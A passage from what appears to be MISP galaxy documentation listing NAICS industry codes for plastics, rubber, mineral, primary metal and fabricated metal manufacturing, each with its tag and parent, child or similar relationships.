View relationships graph

325992 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325998

All Other Miscellaneous Chemical Product and Preparation Manufacturing

The tag is: *misp-galaxy:naics="325998"*

View relationships graph

325998 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

326

Plastics and Rubber Products Manufacturing

The tag is: *misp-galaxy:naics="326"*

View relationships graph

326 has relationships with:

- parent-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

3261

Plastics Product Manufacturing

The tag is: *misp-galaxy:naics="3261"*

View relationships graph

3261 has relationships with:

- child-of: misp-galaxy:naics="326" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32615" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326150" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32616" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326160" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32619" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326199" with estimative-language:likelihood-probability="likely"

32611

Plastics Packaging Materials and Unlaminated Film and Sheet Manufacturing

The tag is: *misp-galaxy:naics="32611"*

View relationships graph

32611 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326111

Plastics Bag and Pouch Manufacturing

The tag is: *misp-galaxy:naics="326111"*

View relationships graph

326111 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326112

Plastics Packaging Film and Sheet (including Laminated) Manufacturing

The tag is: *misp-galaxy:naics="326112"*

View relationships graph

326112 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326113

Unlaminated Plastics Film and Sheet (except Packaging) Manufacturing

The tag is: *misp-galaxy:naics="326113"*

View relationships graph

326113 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

32612

Plastics Pipe, Pipe Fitting, and Unlaminated Profile Shape Manufacturing

The tag is: *misp-galaxy:naics="32612"*

View relationships graph

32612 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326121

Unlaminated Plastics Profile Shape Manufacturing

The tag is: *misp-galaxy:naics="326121"*

View relationships graph

326121 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326122

Plastics Pipe and Pipe Fitting Manufacturing

The tag is: *misp-galaxy:naics="326122"*

View relationships graph

326122 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

32613

Laminated Plastics Plate, Sheet (except Packaging), and Shape Manufacturing

The tag is: *misp-galaxy:naics="32613"*

View relationships graph

32613 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="326130" with estimative-language:likelihood-probability="likely"

326130

Laminated Plastics Plate, Sheet (except Packaging), and Shape Manufacturing

The tag is: *misp-galaxy:naics="326130"*

View relationships graph

326130 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32613" with estimative-language:likelihood-probability="likely"

32614

Polystyrene Foam Product Manufacturing

The tag is: *misp-galaxy:naics="32614"*

View relationships graph

32614 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="326140" with estimative-language:likelihood-probability="likely"

326140

Polystyrene Foam Product Manufacturing

The tag is: *misp-galaxy:naics="326140"*

View relationships graph

326140 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32614" with estimative-language:likelihood-probability="likely"

32615

Urethane and Other Foam Product (except Polystyrene) Manufacturing

The tag is: *misp-galaxy:naics="32615"*

View relationships graph

32615 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="326150" with estimative-language:likelihood-probability="likely"

326150

Urethane and Other Foam Product (except Polystyrene) Manufacturing

The tag is: *misp-galaxy:naics="326150"*

View relationships graph

326150 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32615" with estimative-language:likelihood-probability="likely"

32616

Plastics Bottle Manufacturing

The tag is: *misp-galaxy:naics="32616"*

View relationships graph

32616 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="326160" with estimative-language:likelihood-probability="likely"

326160

Plastics Bottle Manufacturing

The tag is: *misp-galaxy:naics="326160"*

View relationships graph

326160 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32616" with estimative-language:likelihood-probability="likely"

32619

Other Plastics Product Manufacturing

The tag is: *misp-galaxy:naics="32619"*

View relationships graph

32619 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326191

Plastics Plumbing Fixture Manufacturing

The tag is: *misp-galaxy:naics="326191"*

View relationships graph

326191 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

326199

All Other Plastics Product Manufacturing

The tag is: *misp-galaxy:naics="326199"*

View relationships graph

326199 has relationships with:

- child-of: misp-galaxy:naics="3261" with estimative-language:likelihood-probability="likely"

3262

Rubber Product Manufacturing

The tag is: *misp-galaxy:naics="3262"*

View relationships graph

3262 has relationships with:

- child-of: misp-galaxy:naics="326" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32629" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="326291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="326299" with estimative-language:likelihood-probability="likely"

32621

Tire Manufacturing

The tag is: *misp-galaxy:naics="32621"*

View relationships graph

32621 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326211

Tire Manufacturing (except Retreading)

The tag is: *misp-galaxy:naics="326211"*

View relationships graph

326211 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326212

Tire Retreading

The tag is: *misp-galaxy:naics="326212"*

View relationships graph

326212 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

32622

Rubber and Plastics Hoses and Belting Manufacturing

The tag is: *misp-galaxy:naics="32622"*

View relationships graph

32622 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="326220" with estimative-language:likelihood-probability="likely"

326220

Rubber and Plastics Hoses and Belting Manufacturing

The tag is: *misp-galaxy:naics="326220"*

View relationships graph

326220 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32622" with estimative-language:likelihood-probability="likely"

32629

Other Rubber Product Manufacturing

The tag is: *misp-galaxy:naics="32629"*

View relationships graph

32629 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326291

Rubber Product Manufacturing for Mechanical Use

The tag is: *misp-galaxy:naics="326291"*

View relationships graph

326291 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

326299

All Other Rubber Product Manufacturing

The tag is: *misp-galaxy:naics="326299"*

View relationships graph

326299 has relationships with:

- child-of: misp-galaxy:naics="3262" with estimative-language:likelihood-probability="likely"

327

Nonmetallic Mineral Product Manufacturing

The tag is: *misp-galaxy:naics="327"*

View relationships graph

327 has relationships with:

- parent-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

3271

Clay Product and Refractory Manufacturing

The tag is: *misp-galaxy:naics="3271"*

View relationships graph

3271 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327120" with estimative-language:likelihood-probability="likely"

32711

Pottery, Ceramics, and Plumbing Fixture Manufacturing

The tag is: *misp-galaxy:naics="32711"*

View relationships graph

32711 has relationships with:

- child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327110" with estimative-language:likelihood-probability="likely"

327110

Pottery, Ceramics, and Plumbing Fixture Manufacturing

The tag is: *misp-galaxy:naics="327110"*

View relationships graph

327110 has relationships with:

- child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32711" with estimative-language:likelihood-probability="likely"

32712

Clay Building Material and Refractories Manufacturing

The tag is: *misp-galaxy:naics="32712"*

View relationships graph

32712 has relationships with:

- child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327120" with estimative-language:likelihood-probability="likely"

327120

Clay Building Material and Refractories Manufacturing

The tag is: *misp-galaxy:naics="327120"*

View relationships graph

327120 has relationships with:

- child-of: misp-galaxy:naics="3271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32712" with estimative-language:likelihood-probability="likely"

3272

Glass and Glass Product Manufacturing

The tag is: *misp-galaxy:naics="3272"*

View relationships graph

3272 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327215" with estimative-language:likelihood-probability="likely"

32721

Glass and Glass Product Manufacturing

The tag is: *misp-galaxy:naics="32721"*

View relationships graph

32721 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

327211

Flat Glass Manufacturing

The tag is: *misp-galaxy:naics="327211"*

View relationships graph

327211 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

327212

Other Pressed and Blown Glass and Glassware Manufacturing

The tag is: *misp-galaxy:naics="327212"*

View relationships graph

327212 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

327213

Glass Container Manufacturing

The tag is: *misp-galaxy:naics="327213"*

View relationships graph

327213 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

327215

Glass Product Manufacturing Made of Purchased Glass

The tag is: *misp-galaxy:naics="327215"*

View relationships graph

327215 has relationships with:

- child-of: misp-galaxy:naics="3272" with estimative-language:likelihood-probability="likely"

3273

Cement and Concrete Product Manufacturing

The tag is: *misp-galaxy:naics="3273"*

View relationships graph

3273 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32731" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32732" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32733" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32739" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327390" with estimative-language:likelihood-probability="likely"

32731

Cement Manufacturing

The tag is: *misp-galaxy:naics="32731"*

View relationships graph

32731 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327310" with estimative-language:likelihood-probability="likely"

327310

Cement Manufacturing

The tag is: *misp-galaxy:naics="327310"*

View relationships graph

327310 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32731" with estimative-language:likelihood-probability="likely"

32732

Ready-Mix Concrete Manufacturing

The tag is: *misp-galaxy:naics="32732"*

View relationships graph

32732 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327320" with estimative-language:likelihood-probability="likely"

327320

Ready-Mix Concrete Manufacturing

The tag is: *misp-galaxy:naics="327320"*

View relationships graph

327320 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32732" with estimative-language:likelihood-probability="likely"

32733

Concrete Pipe, Brick, and Block Manufacturing

The tag is: *misp-galaxy:naics="32733"*

View relationships graph

32733 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

327331

Concrete Block and Brick Manufacturing

The tag is: *misp-galaxy:naics="327331"*

View relationships graph

327331 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

327332

Concrete Pipe Manufacturing

The tag is: *misp-galaxy:naics="327332"*

View relationships graph

327332 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"

32739

Other Concrete Product Manufacturing

The tag is: *misp-galaxy:naics="32739"*

View relationships graph

32739 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327390" with estimative-language:likelihood-probability="likely"

327390

Other Concrete Product Manufacturing

The tag is: *misp-galaxy:naics="327390"*

View relationships graph

327390 has relationships with:

- child-of: misp-galaxy:naics="3273" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32739" with estimative-language:likelihood-probability="likely"

3274

Lime and Gypsum Product Manufacturing

The tag is: *misp-galaxy:naics="3274"*

View relationships graph

3274 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32741" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32742" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327420" with estimative-language:likelihood-probability="likely"

32741

Lime Manufacturing

The tag is: *misp-galaxy:naics="32741"*

View relationships graph

32741 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327410" with estimative-language:likelihood-probability="likely"

327410

Lime Manufacturing

The tag is: *misp-galaxy:naics="327410"*

View relationships graph

327410 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="32741" with estimative-language:likelihood-probability="likely"

32742

Gypsum Product Manufacturing

The tag is: *misp-galaxy:naics="32742"*

View relationships graph

32742 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327420" with estimative-language:likelihood-probability="likely"

327420

Gypsum Product Manufacturing

The tag is: *misp-galaxy:naics="327420"*

View relationships graph

327420 has relationships with:

- child-of: misp-galaxy:naics="3274" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32742" with estimative-language:likelihood-probability="likely"

3279

Other Nonmetallic Mineral Product Manufacturing

The tag is: *misp-galaxy:naics="3279"*

View relationships graph

3279 has relationships with:

- child-of: misp-galaxy:naics="327" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32799" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="327999" with estimative-language:likelihood-probability="likely"

32791

Abrasive Product Manufacturing

The tag is: *misp-galaxy:naics="32791"*

View relationships graph

32791 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="327910" with estimative-language:likelihood-probability="likely"

327910

Abrasive Product Manufacturing

The tag is: *misp-galaxy:naics="327910"*

View relationships graph

327910 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32791" with estimative-language:likelihood-probability="likely"

32799

All Other Nonmetallic Mineral Product Manufacturing

The tag is: *misp-galaxy:naics="32799"*

View relationships graph

32799 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327991

Cut Stone and Stone Product Manufacturing

The tag is: *misp-galaxy:naics="327991"*

View relationships graph

327991 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327992

Ground or Treated Mineral and Earth Manufacturing

The tag is: *misp-galaxy:naics="327992"*

View relationships graph

327992 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327993

Mineral Wool Manufacturing

The tag is: *misp-galaxy:naics="327993"*

View relationships graph

327993 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

327999

All Other Miscellaneous Nonmetallic Mineral Product Manufacturing

The tag is: *misp-galaxy:naics="327999"*

View relationships graph

327999 has relationships with:

- child-of: misp-galaxy:naics="3279" with estimative-language:likelihood-probability="likely"

331

Primary Metal Manufacturing

The tag is: *misp-galaxy:naics="331"*

View relationships graph

331 has relationships with:

- parent-of: misp-galaxy:naics="3311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

3311

Iron and Steel Mills and Ferroalloy Manufacturing

The tag is: *misp-galaxy:naics="3311"*

View relationships graph

3311 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331110" with estimative-language:likelihood-probability="likely"

33111

Iron and Steel Mills and Ferroalloy Manufacturing

The tag is: *misp-galaxy:naics="33111"*

View relationships graph

33111 has relationships with:

- child-of: misp-galaxy:naics="3311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331110" with estimative-language:likelihood-probability="likely"

331110

Iron and Steel Mills and Ferroalloy Manufacturing

The tag is: *misp-galaxy:naics="331110"*

View relationships graph

331110 has relationships with:

- child-of: misp-galaxy:naics="3311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33111" with estimative-language:likelihood-probability="likely"

3312

Steel Product Manufacturing from Purchased Steel

The tag is: *misp-galaxy:naics="3312"*

View relationships graph

3312 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331222" with estimative-language:likelihood-probability="likely"

33121

Iron and Steel Pipe and Tube Manufacturing from Purchased Steel

The tag is: *misp-galaxy:naics="33121"*

View relationships graph

33121 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331210" with estimative-language:likelihood-probability="likely"

331210

Iron and Steel Pipe and Tube Manufacturing from Purchased Steel

The tag is: *misp-galaxy:naics="331210"*

View relationships graph

331210 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33121" with estimative-language:likelihood-probability="likely"

33122

Rolling and Drawing of Purchased Steel

The tag is: *misp-galaxy:naics="33122"*

View relationships graph

33122 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"

331221

Rolled Steel Shape Manufacturing

The tag is: *misp-galaxy:naics="331221"*

View relationships graph

331221 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"

331222

Steel Wire Drawing

The tag is: *misp-galaxy:naics="331222"*

View relationships graph

331222 has relationships with:

- child-of: misp-galaxy:naics="3312" with estimative-language:likelihood-probability="likely"

3313

Alumina and Aluminum Production and Processing

The tag is: *misp-galaxy:naics="3313"*

View relationships graph

3313 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331318" with estimative-language:likelihood-probability="likely"

33131

Alumina and Aluminum Production and Processing

The tag is: *misp-galaxy:naics="33131"*

View relationships graph

33131 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

331313

Alumina Refining and Primary Aluminum Production

The tag is: *misp-galaxy:naics="331313"*

View relationships graph

331313 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

331314

Secondary Smelting and Alloying of Aluminum

The tag is: *misp-galaxy:naics="331314"*

View relationships graph

331314 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

331315

Aluminum Sheet, Plate, and Foil Manufacturing

The tag is: *misp-galaxy:naics="331315"*

View relationships graph

331315 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

331318

Other Aluminum Rolling, Drawing, and Extruding

The tag is: *misp-galaxy:naics="331318"*

View relationships graph

331318 has relationships with:

- child-of: misp-galaxy:naics="3313" with estimative-language:likelihood-probability="likely"

3314

Nonferrous Metal (except Aluminum) Production and Processing

The tag is: *misp-galaxy:naics="3314"*

View relationships graph

3314 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331492" with estimative-language:likelihood-probability="likely"

33141

Nonferrous Metal (except Aluminum) Smelting and Refining

The tag is: *misp-galaxy:naics="33141"*

View relationships graph

33141 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331410" with estimative-language:likelihood-probability="likely"

331410

Nonferrous Metal (except Aluminum) Smelting and Refining

The tag is: *misp-galaxy:naics="331410"*

View relationships graph

331410 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="33141" with estimative-language:likelihood-probability="likely"

33142

Copper Rolling, Drawing, Extruding, and Alloying

The tag is: *misp-galaxy:naics="33142"*

View relationships graph

33142 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="331420" with estimative-language:likelihood-probability="likely"

331420

Copper Rolling, Drawing, Extruding, and Alloying

The tag is: *misp-galaxy:naics="331420"*

View relationships graph

331420 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33142" with estimative-language:likelihood-probability="likely"

33149

Nonferrous Metal (except Copper and Aluminum) Rolling, Drawing, Extruding, and Alloying

The tag is: *misp-galaxy:naics="33149"*

View relationships graph

33149 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"

331491

Nonferrous Metal (except Copper and Aluminum) Rolling, Drawing, and Extruding

The tag is: *misp-galaxy:naics="331491"*

View relationships graph

331491 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"

331492

Secondary Smelting, Refining, and Alloying of Nonferrous Metal (except Copper and Aluminum)

The tag is: *misp-galaxy:naics="331492"*

View relationships graph

331492 has relationships with:

- child-of: misp-galaxy:naics="3314" with estimative-language:likelihood-probability="likely"

3315

Foundries

The tag is: *misp-galaxy:naics="3315"*

View relationships graph

3315 has relationships with:

- child-of: misp-galaxy:naics="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33152" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="331529" with estimative-language:likelihood-probability="likely"

33151

Ferrous Metal Foundries

The tag is: *misp-galaxy:naics="33151"*

View relationships graph

33151 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331511

Iron Foundries

The tag is: *misp-galaxy:naics="331511"*

View relationships graph

331511 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331512

Steel Investment Foundries

The tag is: *misp-galaxy:naics="331512"*

View relationships graph

331512 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331513

Steel Foundries (except Investment)

The tag is: *misp-galaxy:naics="331513"*

View relationships graph

331513 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

33152

Nonferrous Metal Foundries

The tag is: *misp-galaxy:naics="33152"*

View relationships graph

33152 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331523

Nonferrous Metal Die-Casting Foundries

The tag is: *misp-galaxy:naics="331523"*

View relationships graph

331523 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331524

Aluminum Foundries (except Die-Casting)

The tag is: *misp-galaxy:naics="331524"*

View relationships graph

331524 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

331529

Other Nonferrous Metal Foundries (except Die-Casting)

The tag is: *misp-galaxy:naics="331529"*

View relationships graph

331529 has relationships with:

- child-of: misp-galaxy:naics="3315" with estimative-language:likelihood-probability="likely"

332

Fabricated Metal Product Manufacturing

The tag is: *misp-galaxy:naics="332"*

View relationships graph

332 has relationships with:

- parent-of: misp-galaxy:naics="3321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3323" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="3324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3326" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3327" with estimative-language:likelihood-probability="likely"
